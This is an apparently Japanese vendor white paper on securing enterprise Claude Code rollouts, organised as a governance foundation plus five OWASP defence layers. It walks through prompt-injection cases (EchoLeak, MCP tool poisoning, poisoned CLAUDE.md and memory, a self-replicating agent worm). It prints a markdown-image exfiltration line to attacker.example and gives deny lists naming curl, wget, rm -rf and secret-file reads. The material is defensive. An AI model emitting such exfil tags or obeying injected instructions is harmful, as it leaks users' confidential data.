▲ teamdelta

WHITE PAPER
VOL. 01 · 2026-04

ENTERPRISE SECURITY · FOR NON-ENGINEERS

# Claude Code 配布時の情報漏洩リスクと防御設計

Foundation + OWASP Defense in Depth 5 層による 6 段階ガバナンス。
非エンジニア向け運用のための実装ガイド。

AUTHORED BY
**株式会社DELTA (teamdelta)**

EXECUTIVE SUMMARY

# 要旨

Claude Code を非エンジニアにも配るとき、情シスが向き合う懸念は単一ではない。Anthropic にデータが流れる不安、Claude Code 自身が外部に情報を漏らす不安、利用状況が観察できない不安。これらは異なる時間軸で発生し、1 つの対策では塞げない。本書では、業界標準の **OWASP Defense in Depth 5 層** に **Foundation (データガバナンス)** を加えた 6 段構成で、非エンジニア向け Claude Code 運用の現実的な防御設計を提示する。

## Key Takeaways

- 懸念は「契約時点で決まる層 (Foundation)」と「ランタイムで発生する 5 層 (Defense in Depth)」に分解できる。前者は OWASP でなく **NIST AI RMF Govern**、後者は **OWASP LLM Top 10 / MITRE ATLAS** で整理されている。
- Anthropic の Commercial プラン (Team / Enterprise / API) は、**デフォルトで訓練非利用・30 日保持。Zero Data Retention (ZDR)** を組織契約すれば、at-rest 保存はゼロに近づく。
- プロンプトインジェクション (OWASP LLM01) は **入力境界層** の問題。Claude Code では **MCP / WebFetch / Skills・Memory / サブエージェント** の 4 つの経路で発火する。
- Claude Code には **Enterprise Managed Policy / 9 種の hooks / OpenTelemetry** が標準で備わっており、**Jamf / Intune / Kandji** で全端末に強制配信できる。運用層の統制を組織として実装できる段階にある。
- 本書は Foundation + 5 層それぞれに、**今日から実装できる managed-settings.json と hooks の JSON 例**、および **12 項目の運用チェックリスト** を添える。

> FOR WHOM
>
> 情シス・セキュリティ担当・DX 推進の責任者。非エンジニア社員に Claude Code の配布を検討しているが、何を管理すべきか判断材料が欲しい方。CLI 操作の手を動かせる実務担当者にとっても参照価値がある内容としている。

TABLE OF CONTENTS

# 目次

CHAPTER 01

# Foundation + Defense in Depth 5 層で考える理由

Claude Code の導入可否を議論するとき、現場では複数の懸念が混ざって一つの「危ない」という言葉に圧縮されがちである。本章ではそれを分離し、どの時間軸で、どの業界標準フレームワークで扱うかを明らかにする。業界の定石を借りることで、独自に 3 層や 2 層を発明する必要はなくなる。

---

## 1.1 懸念は「契約時点」と「ランタイム」に分かれる

情シスが抱く懸念を分解すると、対策が効く**時間軸**が異なる 2 つのカテゴリに整理できる。

- **契約時点で決まる領域** — Anthropic に何を送り、どう保持されるか。プラン・DPA・ZDR・SSO など**事前に契約と設定で確定させる**領域。
- **ランタイムで発生する領域** — 実行中に悪意あるコンテンツに騙されて漏らす、権限を越えて動く、誰が何をしたか見えない。**コードと運用で防ぐ**領域。

## 1.2 業界標準モデル — 2 つを組み合わせる

上記 2 領域にはそれぞれ確立されたフレームワークがある。本書は独自の 3 層モデルを発明するのではなく、既存の業界標準を組み合わせて使う。

| 領域 | 採用するフレームワーク | 要点 |
|---|---|---|
| Foundation (契約時点) | NIST AI RMF "Govern" 機能 / ISO 42001:2023 | AI 利用のガバナンス・契約・ポリシー・説明責任 |
| Layer 1–5 (ランタイム) | OWASP Defense in Depth (LLM 向け 5 層) / OWASP LLM Top 10 (2025) / MITRE ATLAS | 実行時の攻撃面を 5 層で塞ぐ |

> KEY INSIGHT
>
> OWASP が示す Defense in Depth は **5 層**。これが LLM アプリのランタイム防御の標準的な骨格である。本書はこれをそのまま採用し、Claude Code 特有の統制点を各層に配置する。独自の「3 層モデル」を作ろうとすると、必ず抽象度が揃わず穴ができる。

## 1.3 Foundation + Defense in Depth 5 層

6 段階それぞれに、主な脅威・Claude Code における統制点・関連フレームワークを整理する。

| 段階 | 主な脅威・懸念 | CLAUDE CODE での統制点 | 関連標準 |
|---|---|---|---|
| **Foundation**<br>データガバナンス | API 送信・保持・訓練利用・ID 統制 | 契約プラン / DPA / ZDR / SSO / SCIM | NIST Govern・ISO 42001 |
| **Layer 1**<br>入力境界 | Indirect Prompt Injection<br>MCP / Web / Skills 汚染 | WebFetch ホワイトリスト / MCP allow list / `.claude/` PR レビュー | OWASP LLM01 / LLM03 / LLM04 ・AML.T0051 |
| **Layer 2**<br>モデル耐性 | Direct Injection / Jailbreak | Anthropic 側の階層指示・Constitutional AI (ユーザー側の実装余地は少ない) | OWASP LLM01・AML.T0054 |
| **Layer 3**<br>ツール・権限 | Excessive Agency / Tool Abuse / Confused Deputy | `permissions.allow/deny/ask`・`defaultMode`・SubagentStop hook | OWASP LLM06・AML.T0053 |
| **Layer 4**<br>出力検証 | Markdown 画像 exfil / 自動 fetch / DLP 漏れ | 出力の plain text 化 / LLM Gateway での DLP / 自動展開の抑制 | OWASP LLM02 / LLM05・AML.T0057 |
| **Layer 5**<br>監視・運用 | インシデント未検知 / 統制未強制 / 利用状況不可視 | Enterprise Managed Settings・Hooks・OTel・Admin API・MDM 連動 | NIST Manage・ISO 42001 Clause 8 |


**Fig. 1**　Foundation (契約時点) と Defense in Depth 5 層 (ランタイム) の構造。攻撃者が 1 層を突破しても、次の層で止めるのが Defense in Depth の基本思想である。

CHAPTER 02 · FOUNDATION

# データガバナンス / Anthropic API と契約

Foundation は契約時点で固めるガバナンス層である。「Anthropic に送ったプロンプトは、将来のモデルの学習素材になるのか」という最頻出の懸念は、ここで答えが出る。プランごとのデータ扱いを早見表にし、ZDR の本当の意味を示す。

---

## 2.1 「Anthropic は学習に使うのか」への答え

Anthropic の Privacy Hub (privacy.claude.com) に明記されている [1]。

- **API / Console / Workbench / Team / Enterprise / Claude Code (Commercial 全般): デフォルトで訓練に使用されない。**例外は (a) ユーザーが `/feedback` を送ったとき、(b) 管理者が Development Partner Program に明示 opt-in したときのみ。
- **Claude.ai Free / Pro / Max (Consumer)**: プライバシー設定で許可した場合 (opt-in) のみ訓練に使用。

> WARNING
>
> 最優先で塞ぐべきは「社員の私用アカウントでの業務利用」である。Commercial プランが何をしようと、社員が自宅で個人の Claude.ai Pro にログインし、社内データを貼り付けた時点で opt-in 状態のまま訓練対象になりうる。契約ではなく運用ルールと検知で防ぐ領域。

## 2.2 プラン別・用途別 データ扱い早見表

| 利用形態 | モデル訓練 | デフォルト保持 | ZDR 可否 | 監査ログ |
|---|---|---|---|---|
| Claude.ai Free / Pro / Max (Consumer) | opt-in 時のみ | opt-in 5 年 / out 30 日 | 不可 | なし |

| 利用形態 | モデル訓練 | デフォルト保持 | ZDR 可否 | 監査ログ |
|---|---|---|---|---|
| Claude Team / Enterprise (web UI) | 不使用 | 30 日 | 不可 | Enterprise のみ有 |
| API / Console / Workbench | 不使用 | 30 日 | 可 (Commercial API) | Admin API |
| Claude Code (Commercial API / Enterprise) | 不使用 | 30 日 | 可 | Admin API + OTel |
| Bedrock / Vertex / Foundry 経由 | 各クラウド準拠 | 各クラウド準拠 | クラウド側 | クラウド側 |

※ Usage Policy 違反でフラグされた場合、入出力は最大 2 年、Trust & Safety スコアは最大 7 年保持される [2]。

## 2.3 Zero Data Retention (ZDR) で何が消えるか

ZDR を有効化すると、Anthropic 側の永続ストレージに入出力は保存されなくなる [3]。ただし以下の制約がある。

- **対象**: Commercial API キー or Claude Enterprise 経由の Claude Code。
- **対象外**: Console / Workbench / Claude.ai web UI、Bedrock / Vertex / Foundry 経由。
- Usage Policy 違反フラグ時は、**ZDR でも最大 2 年保持**される。
- 申し込みは **組織単位で個別有効化**、Anthropic Sales / アカウントチーム経由。

> KEY INSIGHT
>
> ZDR は「Anthropic にデータを渡さない」ではなく「**処理後に保存を残さない**」という意味。TLS で送信している事実は変わらない。「一切送信したくない」が要件なら、Amazon Bedrock / Google Vertex AI 経由で自社 VPC 境界に留める構成を検討すべきである。

## 2.4 認証・組織統制

Anthropic が保有する主な認証と、Enterprise プランの統制機能 [4]。

| SOC 2 | HIPAA |
| --- | --- |
| Type I & Type II 認証<br>ISO 27001:2022 / ISO 42001:2023 同時保有 | BAA 締結で Messages API / Token Counting API で PHI 処理可 (Files / Code Execution / MCP Connector は非対応) |

Enterprise プランで利用できる管理機能:

- **SAML 2.0 / OIDC SSO / SCIM プロビジョニング** — 退職者の即時ブロック、ID の一元管理
- **Admin API (25 エンドポイント)** — Workspace / メンバー / API キー / 監査ログ
- **Domain Capture / RBAC** — 組織ドメインの占有、権限分離
- **Server-managed settings** — 組織ポリシーをサーバー側から強制
- **GDPR DPA / データレジデンシー** — `inference_geo` で `us` / `global` 指定可 (EU 専用 endpoint は Bedrock / Vertex 経由のみ)

## 2.5 Claude Code 利用時のデータフロー


**Fig. 2** Claude Code のデータフロー。ローカルのファイル操作・Bash 実行は端末に留まり、プロンプトと出力だけが TLS で Anthropic に送られる。

## 2.6 Foundation で詰めるべきチェック

☐ 業務利用を Enterprise / Team / API のいずれかに限定し、私用 Claude.ai 利用を明文禁止。

☐ DPA を取得、機密性の高いデータ処理がある場合は ZDR を契約。

☐ SSO / SCIM で ID を統制、退職者の即時ブロックを検証。

☐ 機密レベル (L1 公開可 / L2 社内限 / L3 禁止) を定義し、Claude に渡せる範囲を社内周知。

☐ Admin API から API キー発行履歴を毎月エクスポート。

CHAPTER 03 · LAYER 1 — INPUT BOUNDARY

# 入力境界 / Claude Code を壊す 4 つの攻撃面

Defense in Depth の最外層。ここで止められなかった悪意は、後続の層を次々と踏み台にする。OWASP LLM01 (Prompt Injection) が直接関わる領域で、従来の情報セキュリティ教育だけでは塞げない。本章では Claude Code における 4 つの典型的な攻撃面を整理する。

---

## 3.1 Direct と Indirect — 本当に怖いのは後者

プロンプトインジェクションには 2 種類ある [5]。

- **Direct Prompt Injection** — ユーザー自身が「以前の指示を無視して…」と入れる。社員教育で概ね防げる。
- **Indirect Prompt Injection** (Greshake et al., 2023 で学術的に体系化 [6]) — Claude Code が処理するコンテンツの中に、**攻撃者が仕込んだ指示**が埋め込まれている。社員は何も疑っていない。

OWASP LLM Top 10 (2025) では Direct / Indirect の両方を **LLM01** として最重要に位置付けている [7]。MITRE ATLAS では **AML.T0051 "LLM Prompt Injection"**。

> CASE / ECHOLEAK (CVE-2025-32711)
>
> 2025 年、Microsoft 365 Copilot で **zero-click indirect injection** が発見された。攻撃者がメールを送信するだけで、Copilot が被害者の機密ドキュメントを攻撃者サーバに自動送信する構成 [8]。ユーザーの操作は一切不要。これが「社員が悪いことをしていなくても起きる」の実例である。

## 3.2 攻撃面 ① MCP サーバー経由の注入

Invariant Labs が 2025 年に公開した **Tool Poisoning Attack** [9]。MCP サーバーが提供する**ツールの description (説明文) 自体が LLM に渡される**ため、description に攻撃者の指示を埋め込むだけで、Claude Code がそれを指示だと信じて実行してしまう。第三者配布の MCP を無批判に導入すると Supply Chain 全体がリスクになる (OWASP LLM03)。

**防御**: `enableAllProjectMcpServers: false` を managed 側で強制。承認済み MCP だけを `enabledMcpjsonServers` に列挙。MCP ツール単位で `permissions.deny: ["mcp__untrusted__*"]` を指定。

## 3.3 攻撃面 ② Web / Fetch 経由の間接注入

Claude Code が `WebFetch` / `WebSearch` で取得するページに、HTML コメントや非可視文字 (Unicode tag) で指示が仕込まれているケース。取得した内容は Claude のコンテキストに入り、そのまま指示として解釈される。

**典型的な exfil 経路**: 攻撃者の指示に従った Claude が、Markdown 画像タグ `![](http://attacker.example/?leak=...)` を出力する。それが UI でレンダリングされた瞬間、クエリパラメータに機密情報を載せた GET リクエストが発火する [10]。

> WARNING
>
> Claude Code のターミナル UI ではレンダリングが限定的だが、結果を他アプリ (Notion / Slack) に貼り付けた瞬間にレンダリングされる。経路は端末内で完結しない。

**防御**: `permissions.allow: ["WebFetch(domain:docs.anthropic.com)"]` のホワイトリスト、または `"deny": ["WebFetch"]` で全面禁止。

## 3.4 攻撃面 ③ Skills / Memory / CLAUDE.md 汚染

Skills ( `.claude/skills/` )、Memory ( `MEMORY.md` )、プロジェクトの `CLAUDE.md` は、Claude Code が毎セッションで読み込む恒常的なコンテキスト。ここに攻撃指示が入ると、社員が気づかないまま注入が**永続**する。OWASP LLM04 (Data and Model Poisoning) に対応。

- PR で悪意 `CLAUDE.md` を混入 (レビュー通過の隙間)

- 第三者配布「便利 Skill」パッケージの改ざん (Supply Chain)
- 共有 Memory ファイルの不正編集

**防御**: `.claude/` 配下を PR レビュー必須にし、CODEOWNERS で情シスレビューを強制。第三者配布 Skills は原則不採用。

## 3.5 攻撃面 ④ サブエージェント / 出力連鎖

Claude Code は `Task` ツールでサブエージェントを呼び出せる。親エージェントは子の出力をほぼ信頼するため、子に注入が効くと親にも伝播する。Cornell Tech の研究チームが発表した **Morris II** は、マルチエージェント環境で prompt injection が自己複製する「worm」を実証した [11]。

OWASP Agentic AI Threats & Mitigations では、これを **Cascading Hallucinations / Goal Manipulation** として分類している [12]。厳密には Layer 3 (権限) との複合領域だが、子の出力を「未知入力」として扱う観点で本章に置く。

---

**社員が何も悪いことをしていなくても、エージェントは勝手に外部と通信する。これが、従来の情報セキュリティ教育だけでは塞げない本質的な差分である。**

— 本書の立脚点

---

## 3.6 Layer 1 攻撃面と対応する OWASP カテゴリ

| 攻撃面 | 具体例 | 主な OWASP / MITRE |
|---|---|---|
| ① MCP 経由 | Tool Poisoning, description 注入 | LLM01 / LLM03 / AML.T0053 |
| ② Web / Fetch 経由 | EchoLeak, Markdown image exfil | LLM01 / LLM02 / AML.T0057 |

| 攻撃面 | 具体例 | 主な OWASP / MITRE |
| --- | --- | --- |
| ③ Skills / Memory / CLAUDE.md 汚染 | PR 経由の混入, supply chain | LLM03 / LLM04 |
| ④ サブエージェント連鎖 | Morris II (injection worm) | LLM01 / LLM06 |

## 3.7 Layer 1 で詰めるべきチェック

- ☐ MCP サーバーは allow list 制、第三者 MCP は原則禁止。
- ☐ WebFetch は業務ドメインのホワイトリストのみ、または全面禁止。
- ☐ `.claude/` 配下の変更は PR レビュー必須、CODEOWNERS で強制。
- ☐ 第三者配布 Skills パッケージは使用しない。
- ☐ `SubagentStop` hook で子エージェントの出力をパターン検査。

CHAPTER 04 · LAYER 2 & 3

# モデル耐性とツール権限 / Excessive Agency を塞ぐ

入力境界を突破されても、モデル自体の耐性と、ツール権限の最小化によって被害を限定できる。Layer 2 (モデル耐性) はほぼ Anthropic 側の責務なので簡潔に、Layer 3 (ツール権限) は導入組織の設計で差が出るので詳しく扱う。

---

## 4.1 Layer 2 — モデル耐性 (Anthropic 側の実装)

Claude シリーズは、学習段階で階層的指示 (system > developer > user > tool) の優先順位と、悪意指示への耐性を訓練している [17]。ユーザー側の実装余地は少ないが、以下の点は理解しておくべきである。

- system prompt や CLAUDE.md での安全指示は、ユーザー入力より高い優先度で参照される設計。
- ただし、モデル耐性は**絶対ではない**。Greshake (2023) や Simon Willison が繰り返し指摘する通り、現時点の LLM ではどのベンダーも indirect injection を完全には防げない。
- したがって Layer 2 を「最後の砦」と期待してはいけない。Layer 1 と Layer 3 で塞ぐのが基本戦略。

> NOTE
>
> モデル自体の耐性に依存した「プロンプト防御壁」(system prompt で "機密を漏らすな" と書く等) は、**補助策であって防御策ではない**。OWASP LLM01 のガイドも、モデルへの信頼ではなく、境界・権限・監査での多層化を推奨している。

## 4.2 Layer 3 — ツール権限 / Excessive Agency を塞ぐ

OWASP LLM06 "Excessive Agency" は、エージェントに過剰な自律性・権限・ツールを与えることで起きる事故のカテゴリ。コーディングエージェントでは `git push --force`、`curl | sh`、`rm`、シークレット読み取り、本番 API 呼び出しなどが典型。

### 4.2.1 Claude Code permissions の仕組み

Claude Code は `settings.json` の `permissions` で、ツール単位・粒度の細かい制御ができる [13]。

```
{
  "permissions": {
    "defaultMode": "default",
    "disableBypassPermissionsMode": "disable",
    "deny": [
      "Bash(rm -rf *)",
      "Bash(curl:*)",
      "Bash(git push:*)",
      "Read(./.env*)",
      "Read(~/.ssh/**)",
      "WebFetch"
    ],
    "allow": [
      "Bash(npm run test)",
      "WebFetch(domain:docs.anthropic.com)"
    ],
    "ask": [
      "Write(/etc/**)",
      "Bash(git push:*)"
    ]
  }
}
```

`defaultMode` は `default` / `acceptEdits` / `plan` / `bypassPermissions` の 4 種。**`bypassPermissions` は YOLO モードに相当**し、エンタープライズでは `disableBypassPermissionsMode: "disable"` で管理者側から禁止すべきである。

### 4.2.2 サブエージェントの権限を親より狭く

Task ツールで呼ぶサブエージェントは、親のコンテキストから切り離される。ここで**サブエージェントに与える権限は親より狭く**設定するのが原則。注入が効いたサブエージェントが、親の全権限で破壊的操作や情報流出を引き起こすことを防ぐ。

- 親: 全ツール許可
- 子 (定型タスク用): Read / Glob / Grep のみ、Bash 禁止
- 子 (コード修正用): Edit のみ、Write / Bash 禁止

## 4.3 Layer 2・3 で詰めるべきチェック

☐ `defaultMode` を `default` か `plan` に設定、非エンジニアには `plan` を推奨。

☐ `disableBypassPermissionsMode: "disable"` を managed で強制。

☐ 機密パス ( `.env` , `~/.ssh/**` , `/etc/**` ) を deny。

☐ 破壊的コマンド ( `rm` , `curl` , `wget` , `git push --force` ) を deny。

☐ サブエージェント定義で allowed-tools を最小化。

☐ モデル耐性に依存した防御は「補助」扱いで、権限で止める設計を基本に。

CHAPTER 05 · LAYER 4 — OUTPUT VALIDATION

# 出力検証 / 自発的 exfil の塞ぎ方

Layer 4 は、エージェントの出力が外部に機密を運び出す経路を塞ぐ層である。Claude Code 自体の UI は比較的安全だが、出力は人間や他システム (Slack / Notion / ブラウザ) に流れる。ここに exfil の「再レンダリング時発火」が潜んでいる。

---

## 5.1 Markdown 画像タグによる exfil

Rehberger (Embrace the Red) が 2024 年から繰り返し報告している経路 [10]。LLM が出力した `![](http://attacker.example/?leak=...)` が Slack / Notion / GitHub Issue などでレンダリングされた瞬間、クエリパラメータに含まれる機密情報が攻撃者サーバに送られる。GitHub Copilot Chat でも修正事例が複数ある。

## 5.2 対策 3 点

1. **LLM Gateway での出力サニタイズ** — 社内 LLM Gateway (LiteLLM / Portkey 等) で、外部 URL を含む `<img>` / markdown image を strip する。allowlist で社内ドメインのみ許可。
2. **UI 側の自動展開抑制** — 出力を貼り付ける先 (Slack / Notion) で、不明ドメインの自動 unfurl を OFF にする運用。情シスが主導。
3. **DLP の前後段配置** — 入力側 (Anthropic に送る前) と出力側 (レンダリングする前) の両方で、機密パターン (API キー、個人情報、社内固有キーワード) を検出してブロック。

> KEY INSIGHT
>
> Layer 4 の対策は、Claude Code 単体では完結しない。**LLM Gateway / UI 設定 / DLP ツール**の合わせ技で実装する領域。社内 LLM Gateway を経由させる構成 (Ch 6 で詳述) が、ここで最も効く。

## 5.3 Layer 4 で詰めるべきチェック

- ☐ 社内 LLM Gateway で、出力内の外部 URL を含む markdown image / link を strip または警告。
- ☐ Slack / Notion / GitHub で、不明ドメインの自動 unfurl を抑制。
- ☐ DLP (Nightfall / Microsoft Purview / Cloudflare Cloudforce One 等) を LLM Gateway の前後段に配置。

CHAPTER 06 · LAYER 5 — MONITORING & OPS

# 監視・運用 / hooks・OTel・MDM の連動

Layer 5 は「何が起きているか見える状態」にし、統制を組織として強制する層。
Claude Code には Enterprise Managed Policy / 9 種の hooks / OpenTelemetry が標準で備わっており、MDM (Jamf / Intune / Kandji) で全端末に配信できる。

---

## 6.1 Claude Code の 5 段設定階層

Claude Code の設定は、以下の優先順位で読み込まれる [13]。上位は下位に上書きされない。

1. **Enterprise managed policy settings** — ユーザー側で上書き不可 (MDM ターゲット)
2. CLI 引数
3. Local project settings ( `.claude/settings.local.json` )
4. Shared project settings ( `.claude/settings.json` )
5. User settings ( `~/.claude/settings.json` )

managed-settings.json の配置パスは OS 別に決まっている:

- macOS: `/Library/Application Support/ClaudeCode/managed-settings.json`
- Linux / WSL: `/etc/claude-code/managed-settings.json`
- Windows: `C:\ProgramData\ClaudeCode\managed-settings.json`

## 6.2 最小統制セット (managed-settings.json)

```
{
  "permissions": {
    "defaultMode": "default",
    "disableBypassPermissionsMode": "disable",
    "deny": ["Bash(curl:*)","Bash(wget:*)","Read(./.env*)","Read(~/.ssh/**)","WebFetch"],
    "allow": ["WebFetch(domain:docs.anthropic.com)"]
  },
  "env": {
    "ANTHROPIC_BASE_URL": "https://llm-gw.corp.example/v1",
    "HTTPS_PROXY": "http://proxy.corp.example:8080",
    "NODE_EXTRA_CA_CERTS": "/etc/ssl/corp-ca.pem",
    "CLAUDE_CODE_ENABLE_TELEMETRY": "1",
    "OTEL_EXPORTER_OTLP_ENDPOINT": "https://otel.corp.example:4318"
  },
  "enableAllProjectMcpServers": false,
  "enabledMcpjsonServers": []
}
```

## 6.3 アウトバウンドの出口を絞る

Claude Code の通信先は限定的 [14]。`api.anthropic.com` / `statsig.anthropic.com` / `sentry.io` / (Bedrock / Vertex 利用時は各 endpoint)。

**推奨構成**: 社内 **LLM Gateway (LiteLLM / Portkey 等)** を設置し、`ANTHROPIC_BASE_URL` で全端末をそこに向ける。Gateway 側で: ユーザー認証 (mTLS / OIDC) / コスト上限・レート制限 / 入出力 DLP / 監査保存 (SIEM 転送) を一元実装。

## 6.4 hooks で作る行動監査

| HOOK | 主な用途 | ブロック可 |
|---|---|---|
| `PreToolUse` | コマンド検査、機密パス保護、DLP | ○ |
| `PostToolUse` | 結果の監査ログ、スクラブ | — |
| `UserPromptSubmit` | プロンプト検査、PII マスク | ○ |
| `SubagentStop` | 子エージェント出力の検査 | ○ |

| HOOK | 主な用途 | ブロック可 |
|---|---|---|
| `SessionStart/End` | セッション境界ログ | — |

**SIEM 転送の例** (syslog → Splunk HEC / Sumo Logic):

```
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash|Write|Edit",
      "hooks": [{
        "type": "command",
        "command": "jq -c '{ts:now,session:.session_id,tool:.tool_name,input:.tool_input}' |
logger -t claude-code -p local6.info"
      }]
    }]
  }
}
```

**OpenTelemetry (公式)**: `CLAUDE_CODE_ENABLE_TELEMETRY=1` と `OTEL_EXPORTER_OTLP_ENDPOINT` を設定するだけで、metrics (トークン / コスト / ツール呼び出し) と logs (プロンプト / 結果) を OTLP で出力。Splunk / Datadog / Elastic が直接受けられる。

## 6.5 MDM で managed-settings.json を配る

| MDM | 対象 OS | 配信方法 |
|---|---|---|
| Jamf Pro | macOS | Configuration Profile / pkg、root:wheel 644 で配置 |
| Intune | Windows | Scripts & Remediations / System context 実行 |
| Intune / Kandji | macOS | Shell Script (zsh, root) / Custom Profile + Script |
| Addigy | macOS | Custom Software / File Distribution |

## 6.6 Layer 5 で詰めるべきチェック

☐ managed-settings.json を MDM で全端末に配信。

☐ `ANTHROPIC_BASE_URL` を社内 LLM Gateway に固定。

☐ OpenTelemetry を有効化し、SIEM へ OTLP で直結。

☐ PreToolUse hook で Bash / Write / Edit の入力を SIEM に記録。

☐ Admin API で API キー発行と消費量を毎月エクスポート、異常値をアラート化。

CHAPTER 07 · CONCLUSION

# まとめ /
# 3 つの懸念を、6 段階で解く

本書では、Claude Code を非エンジニアに配るときに立ち上がる 3 つの懸念 (Anthropic への送信・自発的漏洩・監査不能) を、Foundation + Defense in Depth 5 層の 6 段階に分解した。結論は拍子抜けするほど当たり前で、「発明は不要、実装が必要」である。最後に本書の主張を要約し、明日着手できる 12 項目に落とし込んで締める。

---

## 7.1 本書の主張 — 発明は不要、実装が必要

3 つの懸念は、それぞれ独立した業界標準のフレームワークに既に整理されている。NIST AI RMF の Govern 機能がデータガバナンスを、OWASP LLM Top 10 (LLM01〜06) がランタイム攻撃面を、NIST の Manage 機能と ISO 42001 Clause 8 が監視・運用を扱う。組織ごとに独自の 3 層モデルを発明する必要はない。

重要なのは、標準にマッピングしたうえで「各段階で Claude Code のどの統制点を使うか」を具体に落とすことである。本書が示したのはその対応表であり、穴を見つけるための物差しである。

> KEY INSIGHT
>
> 議論が止まる理由の多くは、「何を決めれば良いか」が共有されていないからである。Foundation + 5 層の枠組みに沿って論点を並べ直すと、未決事項は必ず **12 項目以内**に収まる。これが前に進めるための最小の共通言語になる。

## 7.2 各段階の勝ち筋

- **Foundation** — 契約プランと ID 統制、必要なら ZDR。ここで手を抜くと、どんなランタイム対策も無効になる。

- **Layer 1 入力境界** — allow list による通信経路の限定が最優先。MCP・WebFetch・Skills を「デフォルト許可」にしない。
- **Layer 2 モデル耐性** — Anthropic 任せで、ユーザー側は**当てにしない**。防御は Layer 1/3 で作る。
- **Layer 3 ツール権限** — `defaultMode` を `plan`、`disableBypassPermissionsMode: "disable"` を managed で強制。
- **Layer 4 出力検証** — 社内 LLM Gateway で markdown exfil を遮断する。Claude Code 単体では完結しない層。
- **Layer 5 監視・運用** — Enterprise Managed Settings + OpenTelemetry + MDM。2026 年時点で、組織として統制を「強制」できる段階に入っている。

## 7.3 立ち戻るべき 3 つの原則

個別の設定値や JSON は、Anthropic や MDM ベンダーの仕様更新で必ず変わる。陳腐化しない設計の芯として、以下の 3 原則を提示する。判断に迷ったとき、ここに立ち戻れば大きく間違えない。

### 多層化

1 層の突破で事故が起きない設計にする。モデル・権限・出力・監視のいずれか 1 つに依存した統制は、突破された瞬間に破綻する。

### 運用>契約

契約で塞げない穴 (私用アカウント、社員の手元の判断) は、必ず運用で塞ぐ。DPA を結ぶだけで安心する姿勢が最大の盲点。

### 可視性

見えない事故は存在しないのと同じである。何をどこまで統制するかを決める前に、まず「何が起きているか観察できる」状態を作る。

## 7.4 明日から着手する 12 項目

Foundation + 5 層を実装に落とし込んだアクションリスト。情シス / セキュリティ / DX 推進のどの役割が、何を、どの段階で実装するかをひと目で把握できるようにした。

| # | 項目 | 主担当 | 段階 |
|---|---|---|---|
| 01 | 契約プランを Commercial (Team / Enterprise / API) に限定 | 情シス | Foundation |
| 02 | DPA を取得、必要に応じて ZDR を個別契約 | 法務 / 情シス | Foundation |

| # | 項目 | 主担当 | 段階 |
|---|---|---|---|
| 03 | SSO / SCIM で ID を一元統制、退職者即時ブロックを検証 | 情シス | Foundation |
| 04 | 機密レベル (L1 公開可 / L2 社内限 / L3 禁止) を定義し、私用アカウント利用を明文禁止 | 情シス / コーポレート | Foundation |
| 05 | MCP サーバー allow list と WebFetch ホワイトリストを確定、`.claude/` を PR レビュー必須 (CODEOWNERS) に | セキュリティ / DevOps | Layer 1 |
| 06 | `defaultMode` を `default` / `plan` 、`disableBypassPermissionsMode: "disable"` を managed で強制 | セキュリティ | Layer 3 |
| 07 | 機密パス・破壊的コマンドを `permissions.deny` に追加 ( `.env*` , `~/.ssh/**` , `curl` , `wget` , `rm` ) | セキュリティ | Layer 3 |
| 08 | サブエージェント定義で allowed-tools を最小化、`SubagentStop` hook で出力検査 | DevOps | Layer 1・3 |
| 09 | 社内 LLM Gateway で出力 markdown image サニタイズ + DLP 配置 | SRE / セキュリティ | Layer 4 |
| 10 | MDM (Jamf / Intune / Kandji) で managed-settings.json を全端末配信 | 情シス | Layer 5 |
| 11 | OpenTelemetry + hooks で SIEM へ監査ログ転送、Admin API から月次エクスポート | SRE / セキュリティ | Layer 5 |
| 12 | インシデント対応手順 (検知 → 遮断 → 原因特定 → 再発防止) を整備、半年に 1 回机上演習 | セキュリティ | 横断 |

**発明は不要、実装が必要。**
**3 つの懸念も、5 層の防御も、すでに世の中にある。**
**あとは、社内で誰が、いつ、手を動かすかの問題である。**

— 本書の結論

NEXT STEP

teamdelta はこの 12 項目の実装を、研修・コンサルティング・開発の 3 プログラムで支援している。現状のギャップ診断から、managed-settings.json の作成、LLM Gateway の構築、hooks スクリプトの内製化まで、伴走して実装する。
**詳細は teamdelta.jp →**

REFERENCES

# 参考文献・出典

1. Anthropic, "Is my data used for model training?", Privacy Hub. privacy.claude.com/en/articles/7996868
2. Anthropic, "How long do you store my data?", Privacy Hub. privacy.claude.com/en/articles/10023548
3. Anthropic, "API and Data Retention (ZDR)". platform.claude.com/docs/en/build-with-claude/api-and-data-retention
4. Anthropic Trust Center. trust.anthropic.com
5. Simon Willison, "Prompt Injection" archive. simonwillison.net/tags/prompt-injection
6. Greshake et al., "Not what you've signed up for", 2023. arxiv.org/abs/2302.12173
7. OWASP GenAI Security Project, "Top 10 for LLM Applications 2025". genai.owasp.org/llm-top-10
8. Aim Labs, "CVE-2025-32711 — EchoLeak", 2025. aim.security/post/aim-labs-discloses-cve-2025-32711-echoleak
9. Invariant Labs, "MCP Security: Tool Poisoning Attacks", 2025. invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
10. Johann Rehberger (Embrace the Red), "The Dangers of Unfurling", 2024. embracethered.com/blog/posts/2024/the-dangers-of-unfurling
11. Cohen et al., "Morris II: AI Worms", Cornell Tech, 2024. arxiv.org/abs/2403.02817
12. OWASP, "Agentic AI — Threats and Mitigations", 2025. genai.owasp.org/resource/agentic-ai-threats-and-mitigations
13. Anthropic, "Claude Code — Settings & Precedence". docs.claude.com/en/docs/claude-code/settings
14. Anthropic, "Claude Code — Network Configuration". docs.claude.com/en/docs/claude-code/network-config
15. Anthropic, "Claude Code — Hooks". docs.claude.com/en/docs/claude-code/hooks
16. MITRE ATLAS. atlas.mitre.org
17. Anthropic Research, "Building effective agents" / Constitutional AI. anthropic.com/research
18. NIST AI RMF Generative AI Profile (NIST AI 600-1), 2024. nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf

## COLOPHON

発行元
株式会社DELTA (teamdelta)

発行日
2026-04-20 (Vol. 01)

CONTACT
teamdelta.jp/contact

URL
teamdelta.jp

著者
teamdelta Security Research

ライセンス
無断複製・転載を禁ず

**免責**: 本書の情報は発行日時点のものです。Anthropic / MDM ベンダー / セキュリティフレームワークの仕様はアップデートされる可能性があり、実装の判断は読者の責任においてなされるものとし、発行元は本書の利用によって生じるいかなる損害についても責任を負いません。

Claude™ および Claude Code™ は Anthropic PBC の商標です。本書は Anthropic PBC との公式な代理関係を持たない独立した出版物です。

---